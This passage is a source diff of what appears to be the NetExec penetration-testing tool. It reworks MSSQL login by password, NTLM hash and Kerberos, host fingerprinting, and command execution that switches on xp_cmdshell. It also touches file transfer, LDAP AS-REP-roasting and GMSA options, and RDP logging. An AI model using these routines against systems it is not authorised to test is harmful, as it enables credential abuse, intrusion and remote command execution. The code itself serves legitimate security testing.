egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
@@ -16,11 +20,11 @@ def proto_args(parser, std_parser, module_parser):
|
||||
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
|
||||
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
|
||||
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
|
||||
vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users")
|
||||
vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
|
||||
vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
|
||||
vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
|
||||
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
|
||||
vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
|
||||
vgroup.add_argument("--active-users", action="store_true", help="Get Active Domain Users Accounts")
|
||||
|
||||
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
|
||||
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
|
||||
|
||||
+202
-179
@@ -1,19 +1,15 @@
|
||||
import os
|
||||
import random
|
||||
import socket
|
||||
import contextlib
|
||||
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection
|
||||
from nxc.connection import requires_admin
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.ntlm_parser import parse_challenge
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
from impacket import tds, ntlm
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from impacket import tds
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.tds import (
|
||||
SQLErrorException,
|
||||
TDS_LOGINACK_TOKEN,
|
||||
@@ -26,21 +22,31 @@ from impacket.tds import (
|
||||
TDS_ENVCHANGE_CHARSET,
|
||||
TDS_ENVCHANGE_PACKETSIZE,
|
||||
)
|
||||
import contextlib
|
||||
|
||||
|
||||
class mssql(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.mssql_instances = []
|
||||
self.domain = ""
|
||||
self.targetDomain = ""
|
||||
self.mssql_instances = None
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.hash = None
|
||||
self.os_arch = None
|
||||
self.nthash = ""
|
||||
self.is_mssql = False
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_flow(self):
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj():
|
||||
self.enum_host_info()
|
||||
self.print_host_info()
|
||||
if self.login():
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.call_modules()
|
||||
else:
|
||||
self.call_cmd_args()
|
||||
|
||||
def proto_logger(self):
|
||||
self.logger = NXCAdapter(
|
||||
extra={
|
||||
@@ -51,94 +57,83 @@ class mssql(connection):
|
||||
}
|
||||
)
|
||||
|
||||
def enum_host_info(self):
|
||||
# this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
|
||||
try: # noqa: SIM105
|
||||
# Probably a better way of doing this, grab our IP from the socket
|
||||
self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0]
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if self.args.no_smb:
|
||||
self.domain = self.args.domain
|
||||
else:
|
||||
try:
|
||||
smb_conn = SMBConnection(self.host, self.host, None)
|
||||
try:
|
||||
smb_conn.login("", "")
|
||||
except SessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in e.getErrorString():
|
||||
pass
|
||||
|
||||
self.domain = smb_conn.getServerDNSDomainName()
|
||||
self.hostname = smb_conn.getServerName()
|
||||
self.server_os = smb_conn.getServerOS()
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
smb_conn.logoff()
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
|
||||
|
||||
self.mssql_instances = self.conn.getInstances(0)
|
||||
self.db.add_host(
|
||||
self.host,
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.server_os,
|
||||
len(self.mssql_instances),
|
||||
)
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.disconnect()
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
# if len(self.mssql_instances) > 0:
|
||||
# for i, instance in enumerate(self.mssql_instances):
|
||||
# for key in instance.keys():
|
||||
|
||||
def create_conn_obj(self):
|
||||
try:
|
||||
self.conn = tds.MSSQL(self.host, self.port)
|
||||
# Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
|
||||
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
|
||||
sock = socket.socket(af, socktype, proto)
|
||||
sock.settimeout(self.args.mssql_timeout)
|
||||
sock.connect(sa)
|
||||
self.conn.socket = sock
|
||||
if not self.is_mssql:
|
||||
self.conn.preLogin()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error connecting to MSSQL service on host: {self.host}, reason: {e}")
|
||||
self.conn.connect()
|
||||
except OSError as e:
|
||||
self.logger.debug(f"Error connecting to MSSQL: {e}")
|
||||
return False
|
||||
else:
|
||||
self.is_mssql = True
|
||||
return True
|
||||
|
||||
def reconnect_mssql(func):
|
||||
def wrapper(self, *args, **kwargs):
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.disconnect()
|
||||
# When using ccache file, we must need to set target host to hostname when creating connection object.
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
self.create_conn_obj()
|
||||
return func(self, *args, **kwargs)
|
||||
return wrapper
|
||||
return True
|
||||
|
||||
def check_if_admin(self):
|
||||
self.admin_privs = False
|
||||
try:
|
||||
results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')")
|
||||
is_admin = int(results[0][""])
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error querying for sysadmin role: {e}")
|
||||
else:
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
|
||||
@reconnect_mssql
|
||||
def enum_host_info(self):
|
||||
challenge = None
|
||||
try:
|
||||
login = tds.TDS_LOGIN()
|
||||
login["HostName"] = ""
|
||||
login["AppName"] = ""
|
||||
login["ServerName"] = self.conn.server.encode("utf-16le")
|
||||
login["CltIntName"] = login["AppName"]
|
||||
login["ClientPID"] = random.randint(0, 1024)
|
||||
login["PacketSize"] = self.conn.packetSize
|
||||
login["OptionFlags2"] = tds.TDS_INIT_LANG_FATAL | tds.TDS_ODBC_ON | tds.TDS_INTEGRATED_SECURITY_ON
|
||||
|
||||
# NTLMSSP Negotiate
|
||||
auth = ntlm.getNTLMSSPType1("", "")
|
||||
login["SSPI"] = auth.getData()
|
||||
login["Length"] = len(login.getData())
|
||||
|
||||
# Get number of mssql instance
|
||||
self.mssql_instances = self.conn.getInstances(0)
|
||||
|
||||
# Send the NTLMSSP Negotiate or SQL Auth Packet
|
||||
self.conn.sendTDS(tds.TDS_LOGIN7, login.getData())
|
||||
|
||||
tdsx = self.conn.recvTDS()
|
||||
challenge = tdsx["Data"][3:]
|
||||
self.logger.info(f"NTLM challenge: {challenge!s}")
|
||||
except Exception as e:
|
||||
self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
|
||||
return False
|
||||
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
self.logger.debug("User is admin")
|
||||
else:
|
||||
ntlm_info = parse_challenge(challenge)
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
self.db.add_host(self.host, self.hostname, self.targetDomain, self.server_os, len(self.mssql_instances),)
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
return False
|
||||
return True
|
||||
|
||||
@reconnect_mssql
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
@@ -149,126 +144,146 @@ class mssql(connection):
|
||||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.domain = domain
|
||||
self.nthash = ""
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.disconnect()
|
||||
self.create_conn_obj()
|
||||
|
||||
hashes = None
|
||||
if ntlm_hash:
|
||||
if ntlm_hash != "":
|
||||
if ntlm_hash.find(":") != -1:
|
||||
self.nthash = ntlm_hash.split(":")[1]
|
||||
hashes = f":{self.nthash}"
|
||||
hashes = ntlm_hash
|
||||
ntlm_hash.split(":")[1]
|
||||
else:
|
||||
self.nthash = ntlm_hash
|
||||
hashes = f":{self.nthash}"
|
||||
# only nt hash
|
||||
hashes = f":{ntlm_hash}"
|
||||
|
||||
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
|
||||
|
||||
if useCache and kerb_pass == "":
|
||||
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
|
||||
username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
|
||||
self.username = username
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
|
||||
try:
|
||||
res = self.conn.kerberosLogin(
|
||||
None,
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
hashes,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache,
|
||||
)
|
||||
if res is not True:
|
||||
raise
|
||||
self.conn.printReplies()
|
||||
return False
|
||||
|
||||
self.password = password
|
||||
if username == "" and useCache:
|
||||
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
|
||||
principal = ccache.principal.toPrincipal()
|
||||
self.username = principal.components[0]
|
||||
username = principal.components[0]
|
||||
else:
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.check_if_admin()
|
||||
self.logger.success(f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
domain = f"{domain}\\" if not self.args.local_auth else ""
|
||||
|
||||
self.logger.success(f"{domain}{username}{used_ccache} {self.mark_pwned()}")
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
return False
|
||||
except Exception:
|
||||
error_msg = self.handle_mssql_reply()
|
||||
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, kerb_pass, error_msg if error_msg else ""))
|
||||
except Exception as e:
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
domain = f"{domain}\\" if not self.args.local_auth else ""
|
||||
self.logger.fail(f"{domain}\\{username}{used_ccache} {e}")
|
||||
return False
|
||||
|
||||
@reconnect_mssql
|
||||
def plaintext_login(self, domain, username, password):
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.disconnect()
|
||||
self.create_conn_obj()
|
||||
|
||||
try:
|
||||
res = self.conn.login(
|
||||
None,
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
None,
|
||||
not self.args.local_auth,
|
||||
)
|
||||
# this is to prevent a decoding issue in impacket/ntlm.py:617 where it attempts to decode the domain
|
||||
if not domain:
|
||||
domain = ""
|
||||
res = self.conn.login(None, username, password, domain, None, not self.args.local_auth)
|
||||
if res is not True:
|
||||
raise
|
||||
self.handle_mssql_reply()
|
||||
return False
|
||||
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.check_if_admin()
|
||||
out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
self.db.add_credential("plaintext", domain, username, password)
|
||||
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
self.db.add_admin_user("plaintext", domain, username, password, self.host)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
domain = f"{domain}\\" if not self.args.local_auth else ""
|
||||
out = f"{domain}{username}:{process_secret(password)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
return True
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
return False
|
||||
except Exception:
|
||||
error_msg = self.handle_mssql_reply()
|
||||
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.password), error_msg if error_msg else ""))
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{domain}\\{username}:{process_secret(password)}")
|
||||
self.logger.exception(e)
|
||||
return False
|
||||
|
||||
@reconnect_mssql
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(":") != -1:
|
||||
self.lmhash, self.nthash = ntlm_hash.split(":")
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
self.nthash = ntlm_hash
|
||||
nthash = ntlm_hash
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.disconnect()
|
||||
self.create_conn_obj()
|
||||
|
||||
try:
|
||||
res = self.conn.login(
|
||||
None,
|
||||
self.username,
|
||||
username,
|
||||
"",
|
||||
self.domain,
|
||||
f"{self.lmhash}:{self.nthash}",
|
||||
domain,
|
||||
":" + nthash if not lmhash else ntlm_hash,
|
||||
not self.args.local_auth,
|
||||
)
|
||||
if res is not True:
|
||||
raise
|
||||
self.conn.printReplies()
|
||||
return False
|
||||
|
||||
self.hash = ntlm_hash
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.check_if_admin()
|
||||
out = f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
self.db.add_credential("hash", domain, username, ntlm_hash)
|
||||
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
out = f"{domain}\\{username} {process_secret(ntlm_hash)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
return True
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
return False
|
||||
except Exception:
|
||||
error_msg = self.handle_mssql_reply()
|
||||
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.nthash), error_msg if error_msg else ""))
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}")
|
||||
return False
|
||||
|
||||
def mssql_query(self):
|
||||
@@ -291,39 +306,47 @@ class mssql(connection):
|
||||
else:
|
||||
self.logger.fail("Unexpected output")
|
||||
except Exception as e:
|
||||
self.logger.exception(f"Failed to excuted MSSQL query, reason: {e}")
|
||||
self.logger.exception(e)
|
||||
return None
|
||||
|
||||
return raw_output
|
||||
|
||||
@requires_admin
|
||||
def execute(self, payload=None, get_output=False):
|
||||
def execute(self, payload=None, print_output=False):
|
||||
if not payload and self.args.execute:
|
||||
payload = self.args.execute
|
||||
|
||||
if not self.args.no_output:
|
||||
get_output = True
|
||||
|
||||
self.logger.info(f"Command to execute: {payload}")
|
||||
self.logger.info(f"Command to execute:\n{payload}")
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn, self.logger)
|
||||
raw_output = exec_method.execute(payload, get_output)
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
raw_output = exec_method.execute(payload, print_output)
|
||||
self.logger.info("Executed command via mssqlexec")
|
||||
self.logger.debug(f"Raw output: {raw_output}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||
return False
|
||||
else:
|
||||
self.logger.exception(e)
|
||||
return None
|
||||
|
||||
if hasattr(self, "server"):
|
||||
self.server.track_host(self.host)
|
||||
|
||||
if self.args.execute or self.args.ps_execute:
|
||||
self.logger.success("Executed command via mssqlexec")
|
||||
if raw_output:
|
||||
if self.args.no_output:
|
||||
self.logger.debug("Output set to disabled")
|
||||
else:
|
||||
for line in raw_output:
|
||||
self.logger.highlight(line)
|
||||
return raw_output
|
||||
|
||||
return raw_output
|
||||
|
||||
@requires_admin
|
||||
def ps_execute(
|
||||
self,
|
||||
payload=None,
|
||||
get_output=False,
|
||||
methods=None,
|
||||
force_ps32=False,
|
||||
dont_obfs=False,
|
||||
dont_obfs=True,
|
||||
):
|
||||
if not payload and self.args.ps_execute:
|
||||
payload = self.args.ps_execute
|
||||
@@ -341,7 +364,7 @@ class mssql(connection):
|
||||
try:
|
||||
data = f.read()
|
||||
self.logger.display(f"Size is {len(data)} bytes")
|
||||
exec_method = MSSQLEXEC(self.conn, self.logger)
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
exec_method.put_file(data, self.args.put_file[1])
|
||||
if exec_method.file_exists(self.args.put_file[1]):
|
||||
self.logger.success("File has been uploaded on the remote machine")
|
||||
@@ -351,13 +374,13 @@ class mssql(connection):
|
||||
self.logger.fail(f"Error during upload : {e}")
|
||||
|
||||
@requires_admin
|
||||
def get_file(self):
|
||||
def get_file(self):
|
||||
remote_path = self.args.get_file[0]
|
||||
download_path = self.args.get_file[1]
|
||||
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
|
||||
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn, self.logger)
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
exec_method.get_file(self.args.get_file[0], self.args.get_file[1])
|
||||
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
|
||||
except Exception as e:
|
||||
@@ -371,13 +394,13 @@ class mssql(connection):
|
||||
for keys in self.conn.replies:
|
||||
for _i, key in enumerate(self.conn.replies[keys]):
|
||||
if key["TokenType"] == TDS_ERROR_TOKEN:
|
||||
error_msg = f"({key['MsgText'].decode('utf-16le')} Please try again with or without '--local-auth')"
|
||||
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
self.conn.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
|
||||
return error_msg
|
||||
self.logger.fail(error)
|
||||
elif key["TokenType"] == TDS_INFO_TOKEN:
|
||||
return f"({key['MsgText'].decode('utf-16le')})"
|
||||
self.logger.display(f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
|
||||
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
|
||||
return f"(ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) )"
|
||||
self.logger.display(f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) ")
|
||||
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN and key["Type"] in (
|
||||
TDS_ENVCHANGE_DATABASE,
|
||||
TDS_ENVCHANGE_LANGUAGE,
|
||||
@@ -399,4 +422,4 @@ class mssql(connection):
|
||||
_type = "PACKETSIZE"
|
||||
else:
|
||||
_type = f"{key['Type']:d}"
|
||||
return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})"
|
||||
self.logger.display(f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}")
|
||||
@@ -77,7 +77,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
@@ -1,38 +1,38 @@
|
||||
import binascii
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class MSSQLEXEC:
|
||||
def __init__(self, connection, logger):
|
||||
def __init__(self, connection):
|
||||
self.mssql_conn = connection
|
||||
self.logger = logger
|
||||
self.outputBuffer = []
|
||||
self.outputBuffer = ""
|
||||
|
||||
def execute(self, command, output=False):
|
||||
command_output = []
|
||||
try:
|
||||
self.enable_xp_cmdshell()
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
|
||||
|
||||
nxc_logger.error(f"Error when attempting to enable x_cmdshell: {e}")
|
||||
try:
|
||||
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
|
||||
|
||||
try:
|
||||
self.disable_xp_cmdshell()
|
||||
except Exception as e:
|
||||
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
|
||||
|
||||
if output:
|
||||
self.logger.debug(f"SQL Query Result: {result}")
|
||||
nxc_logger.debug(f"SQL Query Result: {result}")
|
||||
for row in result:
|
||||
if row["output"] == "NULL":
|
||||
continue
|
||||
self.outputBuffer.append(row["output"])
|
||||
else:
|
||||
self.logger.info("Output set to disabled")
|
||||
command_output.append(row["output"])
|
||||
except Exception as e:
|
||||
nxc_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
|
||||
|
||||
return self.outputBuffer
|
||||
if output:
|
||||
nxc_logger.debug("Output is enabled")
|
||||
for row in command_output:
|
||||
nxc_logger.debug(row)
|
||||
# if len(self.outputBuffer):
|
||||
try:
|
||||
self.disable_xp_cmdshell()
|
||||
except Exception as e:
|
||||
nxc_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
|
||||
return command_output
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||
@@ -53,7 +53,7 @@ class MSSQLEXEC:
|
||||
self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
|
||||
self.disable_ole()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error uploading via mssqlexec: {e}")
|
||||
nxc_logger.debug(f"Error uploading via mssqlexec: {e}")
|
||||
|
||||
def file_exists(self, remote):
|
||||
try:
|
||||
@@ -71,4 +71,4 @@ class MSSQLEXEC:
|
||||
f.write(binascii.unhexlify(data))
|
||||
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error downloading via mssqlexec: {e}")
|
||||
nxc_logger.debug(f"Error downloading via mssqlexec: {e}")
|
||||
@@ -1,13 +1,17 @@
|
||||
from argparse import _StoreTrueAction
|
||||
|
||||
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
|
||||
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port (default: 1433)")
|
||||
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout, default is %(default)s seconds", type=int, default=5)
|
||||
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
|
||||
no_smb_arg = mssql_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
|
||||
|
||||
dgroup = mssql_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
|
||||
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
no_smb_arg.make_required = [domain_arg]
|
||||
|
||||
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
|
||||
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
|
||||
@@ -21,7 +25,22 @@ def proto_args(parser, std_parser, module_parser):
|
||||
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
|
||||
|
||||
tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
|
||||
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
|
||||
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
|
||||
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
|
||||
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
|
||||
|
||||
return parser
|
||||
return parser
|
||||
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
class ConditionalAction(baseAction):
|
||||
def __init__(self, option_strings, dest, **kwargs):
|
||||
x = kwargs.pop("make_required", [])
|
||||
super().__init__(option_strings, dest, **kwargs)
|
||||
self.make_required = x
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
for x in self.make_required:
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
||||
+3
-13
@@ -87,16 +87,6 @@ class rdp(connection):
|
||||
# if hasattr(self.args, 'module') and self.args.module:
|
||||
|
||||
def proto_logger(self):
|
||||
import platform
|
||||
if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]:
|
||||
import sys
|
||||
|
||||
class DevNull:
|
||||
def write(self, msg):
|
||||
pass
|
||||
|
||||
sys.stderr = DevNull()
|
||||
|
||||
self.logger = NXCAdapter(
|
||||
extra={
|
||||
"protocol": "RDP",
|
||||
@@ -243,7 +233,7 @@ class rdp(connection):
|
||||
self.mark_pwned(),
|
||||
)
|
||||
)
|
||||
if not self.args.local_auth and self.username != "":
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -289,7 +279,7 @@ class rdp(connection):
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -323,7 +313,7 @@ class rdp(connection):
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
